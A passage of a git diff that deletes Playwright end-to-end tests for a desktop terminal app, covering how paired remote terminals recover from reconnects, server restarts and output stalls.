window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -async function readPane(page: Page, webTabId: string): Promise { - return page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane?.serializeAddon?.serialize?.() ?? '' - }, webTabId) -} - -async function typeIntoPane(page: Page, webTabId: string, text: string): Promise { - await page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - throw new Error(`No pane mounted for ${id}`) - } - pane.terminal.focus() - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: xterm always renders its helper textarea. - const textarea = pane.container.querySelector('.xterm-helper-textarea') as HTMLTextAreaElement - textarea.focus() - }, webTabId) - await page.keyboard.type(text) - await page.keyboard.press('Enter') -} - -const HOSTS = [ - { label: 'a host that can image the pane', env: {}, programRepaints: false }, - { - label: 'a host that cannot image the pane', - env: { ORCA_E2E_FORCE_REMOTE_TERMINAL_SNAPSHOT_UNAVAILABLE: '1' }, - // Why asserted: proves the frame came from the program's own repaint, not a host image. - programRepaints: true - } -] as const - -for (const { label, env, programRepaints } of HOSTS) { - test(`an idle full-screen program shows its current frame after a reconnect, on ${label}`, async ({ - testRepoPath - }, testInfo) => { - test.setTimeout(420_000) - const host = await launchHeadlessPairedRuntimeHost({ extraEnv: env }) - let client: PairedElectronClient | null = null - let proxy: FreezableTcpProxy | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - const decoded = decodePairingOffer(host.offer.pairingUrl) - if (!('endpoint' in decoded)) { - throw new Error('expected a direct pairing offer') - } - const endpoint = new URL(decoded.endpoint) - proxy = await startFreezableTcpProxy(endpoint.hostname, Number(endpoint.port)) - endpoint.port = String(proxy.port) - client = await launchPairedElectronClient( - { pairingUrl: encodePairingOffer({ ...decoded, endpoint: endpoint.toString() }) }, - testInfo, - `idle frame ${label}` - ) - const page = client.page - await expect - .poll(() => page.evaluate(() => window.__store?.getState().allWorktrees()[0]?.id ?? null), { - timeout: 60_000 - }) - .not.toBeNull() - const worktreeId = await page.evaluate(() => window.__store!.getState().allWorktrees()[0]!.id) - const stateFile = path.join(scratch, `${testInfo.testId}.state`) - const sinkPath = path.join(scratch, `${testInfo.testId}.log`) - const created = await callRuntime<{ tab: { parentTabId: string; terminal: string | null } }>( - page, - client.environmentId, - 'session.tabs.createTerminal', - { - worktree: `id:${worktreeId}`, - command: [process.execPath, fixturePath, stateFile, sinkPath] - .map(quotePosixShell) - .join(' '), - activate: false, - select: false, - navigation: 'caller' - } - ) - expect(created.tab.terminal).toBeTruthy() - const webTabId = toWebTerminalSurfaceTabId(created.tab.parentTabId) - await expect - .poll( - () => - page.evaluate( - ({ worktreeId, webTabId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === webTabId - ), - { worktreeId, webTabId } - ), - { timeout: 60_000 } - ) - .toBe(true) - await page.evaluate( - ({ worktreeId, webTabId }) => { - const state = window.__store!.getState() - state.setActiveView('terminal') - state.setActiveWorktree(worktreeId) - state.setActiveTab(webTabId) - state.setActiveTabType('terminal', worktreeId) - }, - { worktreeId, webTabId } - ) - // Why retyped: the pane may still be settling its first attach when the first line is typed. - await expect - .poll( - async () => { - const mounted = await page.evaluate( - (id) => window.__paneManagers?.has(id) ?? false, - webTabId - ) - if (mounted && !readText(sinkPath).includes('input:BEFORE')) { - await typeIntoPane(page, webTabId, 'BEFORE') - } - return readPane(page, webTabId) - }, - { timeout: 120_000, intervals: [5_000] } - ) - .toContain('FRAME:BEFORE') - - proxy.cut('reset') - // The program moves on while the client is away, then goes idle. - writeFileSync(stateFile, 'AFTER\n') - await expect.poll(() => readText(sinkPath), { timeout: 15_000 }).toContain('diff:AFTER') - await page.waitForTimeout(5_000) - proxy.restore() - - try { - await expect - .poll(() => readPane(page, webTabId), { timeout: 120_000, intervals: [2_000] }) - .toContain('FRAME:AFTER') - if (programRepaints) { - expect(readText(sinkPath)).toContain('resize:AFTER') - } - } catch (error) { - console.log( - '[idle-frame] evidence', - JSON.stringify({ - pane: (await readPane(page, webTabId)).slice(-600), - sink: readText(sinkPath), - proxyEvents: proxy.events - }) - ) - await page.screenshot({ path: testInfo.outputPath('after-reconnect.png') }) - throw error - } - } finally { - if (client) { - await cleanupE2EDaemons(client.userDataDir).catch(() => undefined) - await client.dispose() - } - await proxy?.close() - await host.dispose() - } - }) -} diff --git a/tests/e2e/paired-remote-terminal-retention-memory.spec.ts b/tests/e2e/paired-remote-terminal-retention-memory.spec.ts deleted file mode 100644 index 3d1a4a9a5f1..00000000000 --- a/tests/e2e/paired-remote-terminal-retention-memory.spec.ts +++ /dev/null @@ -1,38 +0,0 @@ -import { test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedWebClient -} from './helpers/paired-electron-client' -import { runPairedTerminalParkingOracle } from './helpers/paired-terminal-parking-oracle' - -test('ordinary-parks paired terminals and restores authoritative host scrollback @headful', async ({ - electronApp, - orcaPage -}) => { - test.setTimeout(240_000) - const seed = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - const worktrees = state?.allWorktrees() ?? [] - const active = worktrees.find((worktree) => worktree.id === state?.activeWorktreeId) - if (!active) { - throw new Error('Paired retention host has no active seeded worktree') - } - return { activeWorktreeId: active.id, repoId: active.repoId } - }) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedWebClient(electronApp, offer, { - terminalParkingDelayMs: 100 - }) - try { - await runPairedTerminalParkingOracle( - client.page, - { - fallbackWorktreeId: seed.activeWorktreeId, - repoId: seed.repoId - }, - { hostPage: orcaPage } - ) - } finally { - await client.dispose() - } -}) diff --git a/tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts b/tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts deleted file mode 100644 index b06f472f6a1..00000000000 --- a/tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts +++ /dev/null @@ -1,712 +0,0 @@ -// Retain verified mirrored PTY bindings while serve restart republishes pending surfaces; the surviving daemon must keep appending durable history. -import { existsSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { getHistorySessionDirName } from '../../src/main/daemon/history/storage/history-paths' -import { LOG_HEADER_BYTES } from '../../src/main/daemon/history/storage/terminal-history-log' -import '../../src/main/persistence/profile-state/database/profile-state-database' -import { profileStateDatabaseFile } from '../../src/shared/orca-profiles/profile-state-storage-paths' -import { ProfileStateSqliteAuthority } from '../../src/main/persistence/profile-state/profile-state-sqlite-authority' -import { DEFAULT_LOCAL_ORCA_PROFILE_ID } from '../../src/shared/orca-profiles/orca-profiles' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import { toRemoteRuntimePtyId } from '../../src/shared/remote-runtime/remote-runtime-pty-id' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { - launchHeadlessPairedRuntimeHost, - type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' -import { - createHostCliTerminal, - createRetentionFixtureDirectory, - readSink -} from './helpers/host-created-terminal-retention-oracle' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { - clearPairedTerminalSnapshotProbeErrors, - disposePairedTerminalRestartProbes, - installPairedTerminalBindingProbe, - installPairedTerminalSnapshotProbe, - readPairedTerminalBindingTransitions, - readPairedTerminalSnapshotProbe, - setPairedTerminalProbePhase, - type PairedTerminalSnapshotReceipt -} from './helpers/paired-terminal-restart-renderer-probes' - -const scratch = createRetentionFixtureDirectory() -const fixturePath = path.join(scratch, 'serve-restart-binding-terminal.mjs') -const sinkPath = path.join(scratch, 'serve-restart-binding-terminal.log') -const LAYOUT_OWNER_BUILD = existsSync( - path.join(process.cwd(), 'out', 'main', 'ORCA_LAYOUT_OWNER_MAIN') -) - -writeFileSync( - fixturePath, - [ - "import { execFileSync } from 'node:child_process'", - "import { appendFileSync } from 'node:fs'", - 'const sink = process.argv[2]', - 'const grid = () => {', - " if (process.platform !== 'win32') return `${process.stdout.columns ?? 0}x${process.stdout.rows ?? 0}`", - ' try {', - " const mode = execFileSync('mode.com', ['con'], { encoding: 'utf8', timeout: 1000 })", - ' const columns = mode.match(/Columns:\\s*(\\d+)/i)?.[1]', - ' const rows = mode.match(/Lines:\\s*(\\d+)/i)?.[1]', - ' if (columns && rows) return `${columns}x${rows}`', - ' } catch {}', - ' return `${process.stdout.columns ?? 0}x${process.stdout.rows ?? 0}`', - '}', - 'const record = (line) => appendFileSync(sink, `${line}\\n`)', - 'const startGrid = grid()', - 'record(`READY:${process.pid}:${startGrid}`)', - 'process.stdout.write(`READY:${process.pid}:${startGrid}\\r\\n`)', - "process.stdin.setEncoding('utf8')", - "let pending = ''", - "process.stdin.on('data', (data) => {", - ' pending += data', - ' const lines = pending.split(/\\r\\n|\\r|\\n/)', - " pending = lines.pop() ?? ''", - ' for (const line of lines) {', - ' const measuredGrid = grid()', - ' const entry = `LINE:${line}:${measuredGrid}`', - ' record(entry)', - ' process.stdout.write(`LIVE:${line}:${measuredGrid}\\r\\n`)', - ' }', - '})', - 'process.stdin.resume()' - ].join('\n') -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -type HostSurface = { - leafId: string - parentTabId: string - ptyId: string | null - status: 'pending-handle' | 'ready' - terminal: string | null -} - -type MirroredTerminal = { - handle: string - leafId: string - parentTabId: string - ptyId: string - webTabId: string -} - -type Grid = { cols: number; rows: number } - -type HistoryLogEvidence = { - containsMarker: boolean - size: number -} - -type PersistedData = { - workspaceSession?: { - terminalLayoutsByTabId?: Record }> - } -} - -function persistedDataPath(userDataDir: string): string { - return path.join(userDataDir, 'profiles', DEFAULT_LOCAL_ORCA_PROFILE_ID, 'orca-data.json') -} - -function removePersistedTerminalBinding( - userDataDir: string, - terminal: Pick -): void { - const dataPath = persistedDataPath(userDataDir) - const authority = new ProfileStateSqliteAuthority( - profileStateDatabaseFile(path.dirname(dataPath)), - DEFAULT_LOCAL_ORCA_PROFILE_ID - ) - try { - const serialized = authority.readSerializedState() - if (!serialized) { - throw new Error('Expected established SQLite state before removing terminal binding') - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the SQLite authority validates the complete storage snapshot before returning it. - const session = JSON.parse(serialized) as PersistedData - const layout = session.workspaceSession?.terminalLayoutsByTabId?.[terminal.parentTabId] - const bindings = layout?.ptyIdsByLeafId - if (!layout || !bindings || bindings[terminal.leafId] !== terminal.ptyId) { - throw new Error('Expected the live terminal binding before removing it from SQLite state') - } - const nextBindings = { ...bindings } - delete nextBindings[terminal.leafId] - session.workspaceSession = { - ...session.workspaceSession, - terminalLayoutsByTabId: { - ...session.workspaceSession?.terminalLayoutsByTabId, - [terminal.parentTabId]: { ...layout, ptyIdsByLeafId: nextBindings } - } - } - authority.writeSerializedState(Buffer.from(JSON.stringify(session))) - } finally { - authority.close?.() - } -} - -function readHistoryLogEvidence(outputLogPath: string, marker: string): HistoryLogEvidence { - try { - const contents = readFileSync(outputLogPath) - return { containsMarker: contents.includes(marker), size: contents.byteLength } - } catch { - return { containsMarker: false, size: 0 } - } -} - -function historyCheckpointContains(checkpointPath: string, marker: string): boolean { - try { - return readFileSync(checkpointPath, 'utf8').includes(marker) - } catch { - return false - } -} - -async function waitForHistoryLogMarker( - outputLogPath: string, - marker: string, - minimumSize = 0 -): Promise { - let evidence: HistoryLogEvidence = { containsMarker: false, size: 0 } - await expect - .poll( - () => { - evidence = readHistoryLogEvidence(outputLogPath, marker) - return evidence.containsMarker && evidence.size > minimumSize - }, - { timeout: 30_000, message: `Terminal history did not persist ${marker}` } - ) - .toBe(true) - return evidence.size -} - -async function callRuntime( - client: PairedElectronClient, - method: string, - params: unknown -): Promise { - return client.page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params, - timeoutMs: 30_000 - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId: client.environmentId, method, params } - ) as Promise -} - -// Why not shown: automated launches keep windows hidden; the resize step needs only a known size. -async function sizeClientWindow(app: ElectronApplication, page: Page): Promise { - const window = await app.browserWindow(page) - await window.evaluate((browserWindow) => { - browserWindow.setSize(1100, 720) - }) -} - -async function waitForWorktree(host: HeadlessPairedRuntimeHost, repoId: string): Promise { - let worktreeId = '' - await expect - .poll( - async () => { - const listed = await host.client.call<{ worktrees: { id: string }[] }>('worktree.list', { - repo: `id:${repoId}` - }) - worktreeId = listed.result.worktrees[0]?.id ?? '' - return worktreeId - }, - { timeout: 30_000, message: 'Serve host never listed its folder workspace' } - ) - .not.toBe('') - return worktreeId -} - -async function waitForClientWorktree(page: Page, worktreeId: string): Promise { - await expect - .poll( - () => - page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) ?? false, - worktreeId - ), - { timeout: 60_000, message: 'Paired client never received the serve-host workspace' } - ) - .toBe(true) -} - -async function createMirroredTerminal( - client: PairedElectronClient, - worktreeId: string -): Promise { - writeFileSync(sinkPath, '') - const created = await createHostCliTerminal( - (method, params) => callRuntime(client, method, params), - worktreeId, - fixturePath, - sinkPath - ) - return { - handle: created.handle, - leafId: created.leafId, - parentTabId: created.tabId, - ptyId: created.ptyId, - webTabId: toWebTerminalSurfaceTabId(created.tabId) - } -} - -async function openMirroredTerminal( - client: PairedElectronClient, - worktreeId: string, - webTabId: string -): Promise { - await client.page.evaluate( - ({ environmentId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId: client.environmentId, worktreeId } - ) - const tab = client.page.locator(`[data-testid="sortable-tab"][data-tab-id="${webTabId}"]`) - await expect(tab).toBeVisible({ timeout: 60_000 }) - await tab.click() - await expect(tab).toHaveAttribute('data-active', 'true') - await expect - .poll(() => client.page.evaluate((id) => window.__paneManagers?.has(id) ?? false, webTabId), { - timeout: 60_000, - message: 'Mirrored terminal pane never mounted' - }) - .toBe(true) -} - -async function readPaneContent(page: Page, webTabId: string): Promise { - return page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane?.serializeAddon?.serialize?.() ?? '' - }, webTabId) -} - -async function readPaneGrid(page: Page, webTabId: string): Promise { - return page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane ? { cols: pane.terminal.cols, rows: pane.terminal.rows } : null - }, webTabId) -} - -async function waitForStablePaneGrid( - page: Page, - webTabId: string, - differentFrom?: Grid -): Promise { - let candidate: Grid | null = null - let candidateKey = '' - let stableSamples = 0 - await expect - .poll( - async () => { - const grid = await readPaneGrid(page, webTabId) - if ( - !grid || - (differentFrom && grid.cols === differentFrom.cols && grid.rows === differentFrom.rows) - ) { - stableSamples = 0 - return null - } - const key = `${grid.cols}x${grid.rows}` - stableSamples = key === candidateKey ? stableSamples + 1 : 1 - candidateKey = key - candidate = grid - return stableSamples >= 3 ? candidate : null - }, - { intervals: [100, 100, 200], timeout: 30_000, message: 'Rendered pane grid did not settle' } - ) - .not.toBeNull() - return candidate! -} - -async function focusAndType(page: Page, webTabId: string, text: string): Promise { - await page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const textarea = pane?.container.querySelector('.xterm-helper-textarea') as - | HTMLTextAreaElement - | undefined - if (!pane || !textarea) { - throw new Error(`Mirrored pane ${id} has no terminal input`) - } - pane.terminal.focus() - textarea.focus() - }, webTabId) - await page.keyboard.type(text) - await page.keyboard.press('Enter') -} - -function lastFixtureGrid(prefix: string): Grid | null { - const line = readSink(sinkPath) - .split(/\r?\n/) - .findLast((entry) => entry.startsWith(`LINE:${prefix}`)) - const match = line?.match(/:(\d+)x(\d+)$/) - return match ? { cols: Number(match[1]), rows: Number(match[2]) } : null -} - -async function waitForHostGrid( - client: PairedElectronClient, - terminal: string, - expected: Grid, - prefix: string -): Promise { - let attempt = 0 - await expect - .poll( - async () => { - await callRuntime(client, 'terminal.send', { - terminal, - text: `${prefix}-${attempt++}`, - enter: true - }) - return lastFixtureGrid(prefix) - }, - { timeout: 30_000, message: 'Serve-host PTY grid never matched the rendered pane' } - ) - .toEqual(expected) -} - -async function expectKeyboardRoundTrip( - client: PairedElectronClient, - terminal: MirroredTerminal, - marker: string, - grid: Grid -): Promise { - await focusAndType(client.page, terminal.webTabId, marker) - const expectedSink = `LINE:${marker}:${grid.cols}x${grid.rows}` - const expectedPaint = `LIVE:${marker}:${grid.cols}x${grid.rows}` - await expect.poll(() => readSink(sinkPath), { timeout: 15_000 }).toContain(expectedSink) - await expect - .poll(() => readPaneContent(client.page, terminal.webTabId), { timeout: 15_000 }) - .toContain(expectedPaint) -} - -async function readHostSurface( - host: HeadlessPairedRuntimeHost, - worktreeId: string, - expected: Pick -): Promise { - const response = await host.client.call('session.tabs.list', { - worktree: `id:${worktreeId}` - }) - const matches = response.result.tabs.filter( - (tab) => - tab.type === 'terminal' && - tab.parentTabId === expected.parentTabId && - tab.leafId === expected.leafId && - tab.ptyId === expected.ptyId - ) - if (matches.length > 1) { - throw new Error( - `Host published ${matches.length} duplicate surfaces for ${expected.parentTabId}:${expected.leafId}` - ) - } - const surface = matches[0] - if (!surface || surface.type !== 'terminal') { - return null - } - return { - leafId: surface.leafId, - parentTabId: surface.parentTabId, - ptyId: surface.ptyId ?? null, - status: surface.status, - terminal: surface.terminal - } -} - -async function waitForClientBinding( - client: PairedElectronClient, - worktreeId: string, - terminal: MirroredTerminal, - expectedPtyId: string -): Promise { - try { - await expect - .poll( - () => - client.page.evaluate( - ({ leafId, webTabId, worktreeId }) => { - const state = window.__store?.getState() - const tab = (state?.tabsByWorktree[worktreeId] ?? []).find( - (candidate) => candidate.id === webTabId - ) - const manager = window.__paneManagers?.get(webTabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return { - binding: state?.terminalLayoutsByTabId[webTabId]?.ptyIdsByLeafId?.[leafId] ?? null, - panePtyId: pane?.container.dataset.ptyId ?? null, - tabPtyId: tab?.ptyId ?? null - } - }, - { leafId: terminal.leafId, webTabId: terminal.webTabId, worktreeId } - ), - { timeout: 120_000, message: 'Mirrored pane never converged on the republished handle' } - ) - .toEqual({ binding: expectedPtyId, panePtyId: expectedPtyId, tabPtyId: expectedPtyId }) - } catch (error) { - const [transitions, snapshots] = await Promise.all([ - readPairedTerminalBindingTransitions(client.page), - readPairedTerminalSnapshotProbe(client.page) - ]) - throw new Error( - `${error instanceof Error ? error.message : String(error)}\n` + - `Binding transitions: ${JSON.stringify(transitions, null, 2)}\n` + - `Snapshot receipts: ${JSON.stringify(snapshots, null, 2)}` - ) - } -} - -test('retains a verified mirrored PTY binding through a serve restart pending snapshot', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(420_000) - const host = await launchHeadlessPairedRuntimeHost({ pinnedServePort: true }) - let client: PairedElectronClient | null = null - let terminal: MirroredTerminal | null = null - let liveHandle: string | null = null - const pageErrors: string[] = [] - try { - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: testRepoPath, - kind: 'folder' - }) - const worktreeId = await waitForWorktree(host, added.result.repo.id) - client = await launchPairedElectronClient(host.offer, testInfo, 'serve-restart-binding') - client.page.on('pageerror', (error) => pageErrors.push(String(error))) - await sizeClientWindow(client.app, client.page) - await waitForClientWorktree(client.page, worktreeId) - - terminal = await createMirroredTerminal(client, worktreeId) - liveHandle = terminal.handle - await openMirroredTerminal(client, worktreeId, terminal.webTabId) - await expect - .poll(() => readPaneContent(client!.page, terminal!.webTabId), { timeout: 30_000 }) - .toContain('READY:') - - const initialRemotePtyId = toRemoteRuntimePtyId(terminal.handle, client.environmentId) - await waitForClientBinding(client, worktreeId, terminal, initialRemotePtyId) - const initialGrid = await waitForStablePaneGrid(client.page, terminal.webTabId) - await waitForHostGrid(client, terminal.handle, initialGrid, 'FIT_BEFORE') - await expectKeyboardRoundTrip(client, terminal, 'KEYBOARD_BEFORE_RESTART', initialGrid) - const historyOutputLogPath = path.join( - host.userDataDir, - 'terminal-history', - getHistorySessionDirName(terminal.ptyId), - 'output.log' - ) - const historyCheckpointPath = path.join( - host.userDataDir, - 'terminal-history', - getHistorySessionDirName(terminal.ptyId), - 'checkpoint.json' - ) - await waitForHistoryLogMarker(historyOutputLogPath, 'LIVE:KEYBOARD_BEFORE_RESTART') - - const initialReadyLines = readSink(sinkPath) - .split(/\r?\n/) - .filter((line) => line.startsWith('READY:')) - expect(initialReadyLines).toHaveLength(1) - const initialHostSurface = await readHostSurface(host, worktreeId, terminal) - expect(initialHostSurface).toMatchObject({ - leafId: terminal.leafId, - ptyId: terminal.ptyId, - status: 'ready', - terminal: terminal.handle - }) - - await installPairedTerminalBindingProbe(client.page, { ...terminal, worktreeId }) - await installPairedTerminalSnapshotProbe(client.page, client.environmentId, terminal) - await setPairedTerminalProbePhase(client.page, 'restart') - const hostPidBeforeRestart = host.app.process().pid - if (!hostPidBeforeRestart) { - throw new Error('Serve process has no PID') - } - // Why: recreate the reported lost host binding while keeping the real tab, layout, and daemon PTY alive. - await host.restartServeProcess({ - betweenProcesses: () => removePersistedTerminalBinding(host.userDataDir, terminal!) - }) - expect(host.app.process().pid, 'The serve Electron process must actually be replaced').not.toBe( - hostPidBeforeRestart - ) - // Layout-owner main restores the live binding from its tab row, so this build publishes ready immediately. - if (!LAYOUT_OWNER_BUILD) { - let pendingReceipt: PairedTerminalSnapshotReceipt | null = null - await expect - .poll( - async () => { - pendingReceipt = - (await readPairedTerminalSnapshotProbe(client!.page)).receipts.find( - (receipt) => receipt.status === 'pending-handle' - ) ?? null - return pendingReceipt - }, - { - timeout: 60_000, - message: 'Paired renderer never received the replacement host pending-handle frame' - } - ) - .not.toBeNull() - expect(pendingReceipt).toMatchObject({ - leafId: terminal.leafId, - parentTabId: terminal.parentTabId, - ptyId: terminal.ptyId, - status: 'pending-handle', - terminal: null - }) - } - - let recoveredSurface: HostSurface | null = null - await expect - .poll( - async () => { - recoveredSurface = await readHostSurface(host, worktreeId, terminal!) - return recoveredSurface?.status === 'ready' ? recoveredSurface.terminal : null - }, - { timeout: 120_000, message: 'Replacement host never republished a ready handle' } - ) - .not.toBeNull() - liveHandle = recoveredSurface!.terminal - expect(liveHandle).not.toBeNull() - expect(recoveredSurface).toMatchObject({ - leafId: terminal.leafId, - parentTabId: terminal.parentTabId, - ptyId: terminal.ptyId, - status: 'ready' - }) - if (LAYOUT_OWNER_BUILD) { - const { receipts } = await readPairedTerminalSnapshotProbe(client.page) - expect(receipts.filter((receipt) => receipt.status === 'pending-handle')).toEqual([]) - } - - const recoveredRemotePtyId = toRemoteRuntimePtyId(liveHandle!, client.environmentId) - await waitForClientBinding(client, worktreeId, terminal, recoveredRemotePtyId) - await expect - .poll( - () => historyCheckpointContains(historyCheckpointPath, 'LIVE:KEYBOARD_BEFORE_RESTART'), - { timeout: 30_000, message: 'Warm reattach did not preserve the pre-restart history' } - ) - .toBe(true) - const restartTransitions = (await readPairedTerminalBindingTransitions(client.page)).filter( - (transition) => transition.phase === 'restart' - ) - expect(restartTransitions.length, 'Binding observer recorded no restart state').toBeGreaterThan( - 0 - ) - const invalidRestartTransitions = restartTransitions.filter( - (transition) => - !transition.tabPresent || - !transition.layoutPresent || - transition.binding === null || - transition.bindings.length === 0 || - transition.tabPtyId !== transition.binding - ) - - await callRuntime(client, 'terminal.send', { - terminal: liveHandle, - text: 'OUTPUT_AFTER_RESTART', - enter: true - }) - await expect - .poll(() => readPaneContent(client!.page, terminal!.webTabId), { timeout: 15_000 }) - .toContain('LIVE:OUTPUT_AFTER_RESTART:') - await expect(client.page.locator('[data-terminal-error-toast]')).toHaveCount(0) - const restartProbeErrors = (await readPairedTerminalSnapshotProbe(client.page)).errors - expect( - restartProbeErrors.filter((error) => !error.startsWith('remote_runtime_unavailable:')), - 'Raw session-tab subscription reported an unexpected restart error' - ).toEqual([]) - await clearPairedTerminalSnapshotProbeErrors(client.page) - - await client.app.evaluate(({ BrowserWindow }) => { - const window = BrowserWindow.getAllWindows()[0] - if (!window) { - throw new Error('Paired client has no Electron window') - } - window.setSize(1400, 900) - }) - const resizedGrid = await waitForStablePaneGrid(client.page, terminal.webTabId, initialGrid) - await waitForHostGrid(client, liveHandle!, resizedGrid, 'FIT_AFTER') - await expectKeyboardRoundTrip(client, terminal, 'KEYBOARD_AFTER_RESTART', resizedGrid) - const historySizeAfterRestart = await waitForHistoryLogMarker( - historyOutputLogPath, - 'LIVE:KEYBOARD_AFTER_RESTART', - LOG_HEADER_BYTES - ) - expect(historySizeAfterRestart).toBeGreaterThan(LOG_HEADER_BYTES) - expect( - readSink(sinkPath) - .split(/\r?\n/) - .filter((line) => line.startsWith('READY:')), - 'Restart recovery must retain the original fixture process, not respawn it' - ).toEqual(initialReadyLines) - expect( - invalidRestartTransitions, - 'A pending-handle publication erased or removed the verified mirrored binding' - ).toEqual([]) - expect((await readPairedTerminalSnapshotProbe(client.page)).errors).toEqual([]) - - await setPairedTerminalProbePhase(client.page, 'close') - await callRuntime(client, 'terminal.closeTab', { terminal: liveHandle }) - liveHandle = null - await expect - .poll( - () => - client!.page.evaluate( - ({ webTabId, worktreeId }) => { - const state = window.__store?.getState() - return { - bindingList: state?.ptyIdsByTabId[webTabId] ?? null, - layout: state?.terminalLayoutsByTabId[webTabId] ?? null, - tabPresent: (state?.tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === webTabId - ) - } - }, - { webTabId: terminal!.webTabId, worktreeId } - ), - { timeout: 60_000, message: 'Authoritative host close did not retire the mirrored tab' } - ) - .toEqual({ bindingList: null, layout: null, tabPresent: false }) - await expect - .poll(() => readHostSurface(host, worktreeId, terminal!), { timeout: 30_000 }) - .toBeNull() - expect(await client.getDirectSshAttemptTargetIds()).toEqual([]) - expect(pageErrors, 'Paired renderer raised an uncaught error').toEqual([]) - } finally { - if (client) { - await disposePairedTerminalRestartProbes(client.page) - if (liveHandle) { - await callRuntime(client, 'terminal.closeTab', { terminal: liveHandle }).catch( - () => undefined - ) - } - await client.dispose() - } - await host.dispose() - } -}) diff --git a/tests/e2e/paired-remote-terminal-stall-recovery.spec.ts b/tests/e2e/paired-remote-terminal-stall-recovery.spec.ts deleted file mode 100644 index 5d47a1d277d..00000000000 --- a/tests/e2e/paired-remote-terminal-stall-recovery.spec.ts +++ /dev/null @@ -1,655 +0,0 @@ -import { runProcess } from '@orca/process-host' -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { PNG } from 'pngjs' -import type { RuntimeTerminalRead } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedWebClient -} from './helpers/paired-electron-client' -import { getTerminalContent, waitForActivePanePtyId } from './helpers/terminal' - -const MIN_EXHAUSTED_ACK_BYTES = 400 * 1024 -const PUBLICATION_DEADLINE_MS = 10_000 -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-paired-stalled-stream-')) -const fixturePath = path.join(scratch, 'stalled-stream-terminal.mjs') -writeFileSync( - fixturePath, - [ - "process.stdout.write('PAIRED_STALL_READY\\r\\n')", - "process.stdin.setEncoding('utf8')", - "let pending = ''", - "process.stdin.on('data', (data) => {", - ' pending += data', - ' const commands = pending.split(/\\r\\n|\\r|\\n/)', - ' pending = commands.pop() ?? ""', - ' for (const input of commands) {', - " if (input === 'GO') {", - " for (let row = 0; row < 16_000; row += 1) process.stdout.write(`flood-${row}-${'x'.repeat(80)}\\r\\n`)", - " process.stdout.write('HOST_FLOOD_COMPLETE\\r\\n')", - ' continue', - ' }', - " process.stdout.write(`\\x1b[48;2;24;96;144mLIVE:${input}${' '.repeat(48)}\\x1b[0m\\r\\n`)", - ' }', - '})', - 'process.stdin.resume()' - ].join('\n') -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function shellQuote(value: string): string { - return `'${value.replaceAll("'", `'\\''`)}'` -} - -function fixtureCommand(): string { - const command = [process.execPath, fixturePath] - return process.platform === 'win32' - ? command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ') - : command.map(shellQuote).join(' ') -} - -async function callRuntime(page: Page, method: string, params: unknown): Promise { - return page.evaluate( - async ({ method, params }) => { - const response = await window.api.runtime.call({ method, params }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { method, params } - ) as Promise -} - -type AppResourceProxies = { - gpuCpuPercent: number - gpuIdleWakeupsPerSecond: number - processCount: number - totalCpuPercent: number - totalIdleWakeupsPerSecond: number -} - -async function getAppResourceProxies( - electronApp: ElectronApplication -): Promise { - return electronApp.evaluate(({ app }) => { - const metrics = app.getAppMetrics() - const gpu = metrics.find((metric) => metric.type === 'GPU') - return { - gpuCpuPercent: gpu?.cpu.percentCPUUsage ?? 0, - gpuIdleWakeupsPerSecond: 